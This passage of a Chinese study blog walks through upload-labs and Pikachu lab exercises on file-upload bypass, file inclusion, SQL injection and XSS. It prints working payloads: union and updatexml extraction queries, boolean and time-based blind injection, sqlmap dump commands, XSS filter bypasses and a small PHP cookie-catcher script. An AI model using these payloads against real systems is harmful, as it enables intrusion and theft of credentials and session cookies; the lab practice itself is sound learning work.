if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
    return "RENAME_FAILURE";
} else {
    return 1;
}
}

本样例不会删除文件,同样是先上传,然后重命名,所以可以采用条件竞争,但是有白名单限制,所以只能上传图片码,但是这样就用不着条件竞争了,而且也没文件包含漏洞呀,所以可能有点问题。

但是条件竞争可以实现,但是路径有问题,作者写php时应该忽略了个/。

Pass-19系统命名绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

黑名单,可以自定义文件名称,还有这种好事,绕过的方式就多了,系统命名绕过的方式都差不多可以,还有00截断。

Pass-21-数组名称绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

先是检查了下MIME-TYPE,这个好办,然后判断是否重新修改了文件名,也就是$_POST[‘save_name’],我们自己发送的,然后判断是否是个数组,如果不是数组,就以.为间隔,生成一个数组,然后取最后一个元素去判断是不是有效后缀。然后以第一个元素+.+最后一个元素组成新文件名。

这种我们就可以采用数组拼接的方式绕过,我们在抓包后,自主修改post的save_name,使其变为一个数组,然后特意将中间留空,这样重命名时,就不会读取到最后的后缀了。具体原因,没太搞懂,按道理,确实应该也会有后缀的,除非是数组长度变了,但是就算是

<?php
$cars=array("Volvo","","Toyota");
echo count($cars);
?>

结果也是3呀,说明数组长度没变,就感觉比较怪。

reference

https://blog.csdn.net/weixin_44677409/article/details/92799366

https://blog.csdn.net/Thunderclap_/article/details/108948611

https://cloud.tencent.com/developer/article/1740497

常见php函数

文件包含漏洞

pikachu靶场搭建https://blog.csdn.net/weixin_51446936/article/details/117789696

解决pikachu不能抓包的问题,Firefox中与 localhost、127.0.0.1/8 和 ::1 的连接永不经过代理,所以我们通过局域网的ip地址访问本地靶场即可。局域网ip地址可通过命令行查看ipconfig,IPv4 地址。

之前学文件上传漏洞的图片马中已经学到了简单的文件包含漏洞。

下面是pikachu对文件包含漏洞的概念介绍,通俗易懂,还是比较简单。

File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。

File Inclusion(local)

界面叫我们随便提交一个球星名字,然后,会显示球员的一些信息。

可以发现都是通过get传参赋予file变量具体文件名称来访问文件。且多试几次都会发现名称都有规律file1.php,file2.php,file3.php。。。

利用bp的Intuder爆破。

可以看到当文件为file6.php时,泄露了密码和文件,当然,只要我们知道这个服务器包含的文件位置,也就是其本地文件,我们都可以进行访问执行。

File Inclusion(remote)

先将php.ini中的allow_url_include设置为On。

感觉没什么好说的,就是可以把本地文件变成攻击机上的webshell了。就是需要在攻击机先配好环境。

sql注入

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

实际上本质就是如果对我们输入的内容不严格过滤,然后我们就通过输入构造恶意的sql语句,使服务器向数据访问层发起恶意sql请求,然后产生相应回显,使得我们可以获得部分数字全部数据库的内容。

sql常见语句

先还是要对常见的sql语句增删查改有个了解。

创建数据库

CREATE DATABASE 数据库名;

example:
mysql> create DATABASE mytable;

删除数据库

drop database <数据库名>;

example:
mysql> drop DATABASE mytable;

选择数据库

use 数据库名;

example:
mysql> use mytable;

创建数据表

CREATE TABLE table_name (column_name column_type);//表字段名,和定义类型和值

CREATE TABLE IF NOT EXISTS `runoob_tbl`(
   `runoob_id` INT UNSIGNED AUTO_INCREMENT,
   `runoob_title` VARCHAR(100) NOT NULL,
   `runoob_author` VARCHAR(40) NOT NULL,
   `submission_date` DATE,
   PRIMARY KEY ( `runoob_id` )//设置runoob_id为主键
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

删除数据表

DROP TABLE table_name ;

example:
mysql> DROP TABLE mytable;

插入数据

INSERT INTO table_name ( field1, field2,...fieldN )//field代表字段名称
                       VALUES
                       ( value1, value2,...valueN );//value代表值

example:
mysql> INSERT INTO runoob_tbl 
    -> (runoob_title, runoob_author, submission_date)
    -> VALUES
    -> ("学习 PHP", "菜鸟教程", NOW());
Query OK, 1 rows affected, 1 warnings (0.01 sec)
mysql> INSERT INTO runoob_tbl
    -> (runoob_title, runoob_author, submission_date)
    -> VALUES
    -> ("学习 MySQL", "菜鸟教程", NOW());
Query OK, 1 rows affected, 1 warnings (0.01 sec)
mysql> INSERT INTO runoob_tbl
    -> (runoob_title, runoob_author, submission_date)
    -> VALUES
    -> ("JAVA 教程", "RUNOOB.COM", '2016-05-06');
Query OK, 1 rows affected (0.00 sec)

查询数据

SELECT column_name,column_name //查询的字段,可以是*代表所有字段
FROM table_name //数据表名称
[WHERE Clause] //条件选择
[LIMIT N][ OFFSET M] //LIMIT 属性来设定返回的记录数。 OFFSET指定SELECT语句开始查询的数据偏移量。默认情况下偏移量为0。

example:
select * from runoob_tbl; //查询整个表

UPDATE 更新

UPDATE table_name SET field1=new-value1, field2=new-value2
[WHERE Clause]

WHERE 子句,条件选择

SELECT field1, field2,...fieldN FROM table_name1, table_name2...
[WHERE condition1 [AND [OR]] condition2.....

//field为字段名称,可以查询多个字段,查询多个表,condition为条件,and和or就是且和或的意思。

LIKE 子句,进行相似比较。

SELECT field1, field2,...fieldN 
FROM table_name
WHERE field1 LIKE condition1 [AND [OR]] filed2 = 'somevalue'

example:
mysql> SELECT * from runoob_tbl  WHERE runoob_author LIKE '%COM';

UNION 操作符,UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。

SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions]
UNION [ALL | DISTINCT] //默认为DISTINCT,删除重复的。设置为ALL则不会删除重复的。
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions];

example:
SELECT country FROM Websites
UNION ALL
SELECT country FROM apps
ORDER BY country;

ORDER BY 子句,对读取的数据进行排序。

SELECT field1, field2,...fieldN FROM table_name1, table_name2...
ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]

//对多个字段进行排序时,排序的第一个字段必须有相同的值,才会对第二个字段进行排序。如果第一个字段数据中所有的值都是唯一的,MySQL 将不再对第二个字段进行排序。

常见sql爆破信息语句,主要是利用mysql中的information_schema 结构用来存储数据库系统信息。

爆所有数据库名
select group_concat(SCHEMA_NAME) from information_schema.schemata

得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名
select group_concat(column_name) from information_schema.columns where table_name=xxxx

数字性注入-post

使用HackBar,进行post传参。

由于是数值型注入,所以就不需要进行使用’进行闭合。常见的数字查找的sql语句为。

select xxcolumns from xxtable where id=input

而且这个样例,提供了6个选项,所以可以采用这样的输入来得到列的有几列

1 order by n#  //n代表1~n,一个一个试 如果到哪报错了则n-1即为 列数。n后面的#号代表注释,相当于到这后面的内容就是注释了不执行。

//select xxcolumns from xxtable where id=id=1 order by 3#&submit=%E6%9F%A5%E8%AF%A2

然后就会产生这样的回显

所以可以推断出这个表的列为2。

接下来继续使用union联合查询,database()代表当前网站所使用的数据库名字,user()将会返回执行当前查询的用户名

id=1 union select database(),user()#&submit=%E6%9F%A5%E8%AF%A2

select xxcolumns from xxtable where id=1 union select database(),user()#&submit=%E6%9F%A5%E8%AF%A2

回显为,所以网站数据库名称为pikachu ,我们当前查询的用户名为root@localhost

hello,vince
your email is: vince@pikachu.com

hello,pikachu
your email is: root@localhost

获得所有数据表名称

id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2

得到,httpinfo,member,message,users,xssblind ,可以推断出我们的表为users这个数据表。

接下来爆users表的所有字段。

id=1 union select group_concat(column_name),1 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2

得到USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level。

找到了两个字段名username,password,获得数据。

id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2


密码为md5加密,可以尝试爆破。

字符型注入-get

由于是字符串型数据,所以需要闭合下。使用的是get传参

如果我们正常输入hello,则其sql语句可能就是这样。

SELECT first_name, last_name FROM users WHERE user_id = 'hello';

这时候我们就可以采用下面的输入来使’引号闭合,并且添加union联合查询。

hello' union select database(),user()#&submit=%E6%9F%A5%E8%AF%A2

然后其他的实际上和前面差不多。

搜索型注入

这里涉及到了mysql语句的like语句。

正常的like语句。

SELECT * from users  WHERE user_name LIKE '%xxx'; //%代表任意字符,所以可能不止一个。

所以闭合就可能不同了,可能是%’,或者是%%’。一般是多试,或者根据回显来判断。但是实际上感觉一个’完全可以闭包呀。

这里我们先尝试’

hello'#

回显:
并没有报错

同样步骤

1' order by 4#

Unknown column '4' in 'order clause'

所以列为3。爆破数据表名。

id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#


用户名中含有id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#的结果如下:

username:1
uid:2
email is: httpinfo,member,message,users,xssblind

爆破users所有字段名。

id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

用户名中含有id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#的结果如下:

username:1
uid:2
email is: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level

xx型注入

同样是闭合问题,测试可知,估计是(‘xxx’)这种类型。

剩下的,同上方式了。

insert 注入

一个登陆界面,我们先注册账号,然后抓包看看。

采用post传参,username=123&password=123&sex=&phonenum=&email=&add=&submit=submit。

注册采用的insert插入数据,我们可以推断出sql语句如下。

insert into member(username,password,sex,phonenum,email,add) values('123','123','xx','xx','xx','xx')

sqli.reg.php
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

而且关于这些数据是数字型还是字符型,我们可以通过’来测试。常理来说应该是字符型。

接下来就是如何泄露的问题了。联合注入不可用,改为报错注入。

报错注入就是利用某些函数参数的特点,比如说updatexml的第二个参数,需要满足xpath语法,但是我们拼接一下其他字符,就不满足,就会报错,然后会把查询结果放在报错信息中。

playload:
username= hehe' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=123&sex=&phonenum=&email=&add=&submit=submit

实际执行的sql语句。
insert into member(username,password,sex,phonenum,email,add) values('hello' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','111','222','333','444','555')

爆表,这里是使用了substr函数,因为updatexml显示的字符长度有限。

username= 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

然后剩下有区别的就是爆数据了,但是有点奇怪

之前:
select username,password from users

现在:
select group_concat(concat(username,'^',password)) from users

如果我们采用之前的,会出现这种情况。

所以需要group_concat将其所有查到的数据弄成一行。

username= 'or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

update注入

和insert注入差不多。

php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$html1='';
if(isset($_POST['submit'])){
if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
// $getdata=escape($link, $_POST);

//未转义,形成注入,sql操作类型为update
$getdata=$_POST;
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:sqli_mem.php");
}else {
$html1.='修改失败,请重试';

}
}
}

必须post所有值都不为空才会有更新这一说法。

update语句为

update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'

所以可以采用和insert差不多的构造。

playload:其中的#可以不去掉。
sex=11' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '#&phonenum=123&add=123&email=123%40123.com&submit=submit

实际sql语句
update member set sex='11' and updatexml(1,concat(0x7e,(select database()),0x7e),1) '' 

无#:
update member set sex='11' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '' ,phonenum='123',address='123',email='123' where username='{$_SESSION['sqli']['username']}'

剩下的就都差不多了。

delete注入

先抓包看看。

get方式,传入id。

然后看看源码,del.php

1
2
3
4
5
6
7
8
9
10

if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}

delete语句为

delete from message where id={$_GET['id']}

采用union联合查询貌似不行,还是用or 报错注入。

id=67 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)#

sql语句:
delete from message where id=67 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)#

得到数据表名称。

其他一致。

http header注入

tips给了账号和密码,然后登陆后会发现显示了一些请求头的信息。

主要漏洞点在sqli_header.php的这个地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);


if(isset($_GET['logout']) && $_GET['logout'] == 1){
setcookie('ant[uname]','',time()-3600);
setcookie('ant[pw]','',time()-3600);
header("location:sqli_header_login.php");
}

insert插入语句

insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')

所以注入就是insert注入的方法,只不过playload需要写在请求头的相应位置。

爆破其他数据同insert注入

盲注-boolean

boolean注入(布尔盲注),简单来说就是没有报错回显,只会返回正误。

而我们就可以采用or的形式判断关于名称的一些信息。

比如说这个环境。正确输入username和错误输入username如下。

然后看看php源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20


$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{

$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}

只会返回正确或者错误的字符。

playload:
1' or 1=1#

//不可行,sql语句为select id,email from member where username='1' or 1=1#。会返回所有的id和email,导致mysqli_num_rows不是一行,返回username不正常。

playload:
lili' and 1=1#

//可行,我们这里是事先知道了lili一个名称,使用and,同真为真,并且也只会返回lili的id和email,是一行数据。

所以可以采用下面的playload来实现获得database()的字符串长度。

playload:
lili' and (length(database()))>n

测得长度为7(pikachu)

然后就可以单字节爆破了,采用substr和ord或者ascii,进行遍历0~127字符,共7轮,用python脚本实现。

playload:
lili' and ord(substr(database(),1,1))=112#

lili' and ascii(substr(database(),1,1))=112#

得到数据库名称pikachu

然后是爆破数据表,也差不多。

playload,弄成一行:
lili' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=104#

//偏移,每次弄一个
lili' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108

httpinfo,member,message,users,xssblind

然后就是爆破字段名称了。

都差不多。

sqlmap试试。

获取所有数据库名称

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" --dbs  --batch


获取数据表名称

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" -D pikachu --tables --batch


获取所有字段名称。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" -D pikachu -T users --columns --batch


获取数据。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" -D pikachu -T users --dump --batch

盲注-time

无论输入什么 回显都一样,无法通过回显判断了,但是可以换另一种方法,就是时间注入。

就是根据返回数据的时间差来确定是否成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{

$html.="<p class='notice'>i don't care who you are!</p>";
}
}

可以看到,同样限制了返回数据只能有一行,所以尽量还是不要使用or了。

爆破数据库名称。

playload:
lili' and if(ord(substr(database(),1,1))=112,sleep(5),0)#

如果返回时间大于5秒,则表示正确。

剩下的爆破基本一样。

xss

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

原理:简单来说就是如果网站未对输入内容进行过滤,我们可以输入一些闭合加JavaScript的代码,然后前端打印我们输入的字符时,就会执行这些javacript代码。

反射型xss(get)


所以可以输入,,然后点击submit。

相当于是这样。

<p class="notice"> <script>alert("The_Itach1")</script> </p>
执行了我们的script语句。

反射型xss(post)

多了一个登陆,给了admin,123456,登陆成功会生成cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

$html = "<p>please input username and password!</p>";

if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){

//这里没有使用预编译方式,而是使用的拼接SQL,所以需要手动转义防止SQL注入
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);


$query="select * from users where username='$username' and password=md5('$password')";

$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);

//登录时,生成cookie,1个小时有效期,供其他页面判断
setcookie('ant[uname]',$_POST['username'],time()+3600);
setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);


header("location:xss_reflected_post.php");
// echo '"<script>windows.location.href="xss_reflected_post.php"</script>';

}else{
$html ="<p>username or password error!</p>";
}

}else{
$html ="<p>please input username and password!</p>";
}
}

获取cookie的script代码。

先在http://127.0.0.1/1.php的1.php中写入如下语句

1
2
3
4
5
6

<?php
$cookie = $_GET['x'];
echo $cookie;
file_put_contents('cookie.txt', $cookie);
?>

然后输入,就可以获得cookie了。

存储型xss

这种xss一般是留言板,评论,网站会将我们输入的内容存储到数据,然后显现到前端中,所以当存在xss漏洞时,只要有人访问这个网站,都会执行script语句。照成一种持续化的xss攻击。

我们还是输入,然后会发现每次我们访问这个网站,都会弹出窗口。

DOM型xss

实际上就是JavaScript的html Dom,通过 HTML DOM,可访问 JavaScript HTML 文档的所有元素,也可以修改元素。https://www.runoob.com/js/js-htmldom.html

来看看相应部分。

所以what do you see?这个里面的str可控,所以我们可以简单按照给的两种方式构造闭合下

playload1:

str='><img src="#" onmouseover="alert('xss')">


playload2:

playload2:
' onclick="alert('xss')">

DOM型xss-x

会先蹦出第一个链接,点击第一个链接会触发js代码。

js代码如下。

1
2
3
4
5
6
7
8
9
10
11

function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行

获取get传入的text,然后将+替换为’ ‘,然后写入id为dom的div。限定了位置。这里需要注意的是’”+xss+”‘, ‘’会变成””,而且”+xss+”代表的就是输入内容。html仿佛会自动默认一些东西。

playload1:

'><img src="#" onmouseover="alert('xss')">

xss之盲打

随便提交下,可以看到回显并没有在html文件中产生,并且是用post方式提交。

来看源码吧,xss_blind.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
$content=escape($link, $_POST['content']);
$name=escape($link, $_POST['name']);
$time=$time=date('Y-m-d g:i:s');
$query="insert into xssblind(time,content,name) values('$time','$content','$name')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
}else {
$html.="<p>ooo.提交出现异常,请重新提交</p>";
}
}

post的数据存到了数据库。

我们来看后台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


<div class="main-content" xmlns="http://www.w3.org/1999/html">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../xss.php">xss</a>
</li>
<li class="active">xss盲打</li>

</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="被弹了吗?">
点一下提示~
</a>

</div>
<div class="page-content">
<div id="list_blid_con">
<?php echo $state;?>
<h2>用户反馈的意见列表:</h2>
<table class="table table-bordered table-striped">
<tr>
<td>编号</td>
<td>时间</td>
<td>内容</td>
<td>姓名</td>
<td>操作</td>
</tr>
<?php
$query="select * from xssblind";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}

?>

</table>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->

从数据库中提出信息,然后显示在html前端中。

所以这个盲打就是,我们输入的内容会保存到数据库,管理员登录后,会从数据库中提取消息然后展示到前端,引发xss。

xss过滤

get方式传参,会对我们输入进行过滤。

php代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);

if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}

}

可以看到利用正则表达式进行了过滤。

大小写绕过。

<SCRIPT>alert("The_Itach1")</SCRIPT>

xss之htmlspecialchars

1
2
3
4
5
6
7
8
9
10
11
12
13

if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}

使用htmlspecialchars函数对特定字符进行了转义。

但是未对’进行转义。所以可以使用

#' onclick='alert(/xss/)

xss之href输出

和上面一样是href,但是多加了点东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}

htmlspecialchars函数多加了个参数,ENT_QUOTES

ENT_QUOTES - 编码双引号和单引号。

所以上面的方法没法用了。

但是在a标签的href属性里面,可以使用javascript协议来执行js,可以尝试使用伪协议绕过。

javascript:alert(/xss/)

xss之js输出

先随便输人看看。

看看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

if(isset($_GET['submit']) && $_GET['message'] !=null){
$jsvar=$_GET['message'];
// $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
if($jsvar == 'tmac'){
$html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
}

<script>
$ms='<?php echo $jsvar;?>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}

}

</script>

未对特殊字符进行转义。

闭合下

</script><script>alert("The_Itach1")</script>

CSRF

CSRF(跨站请求伪造)概述

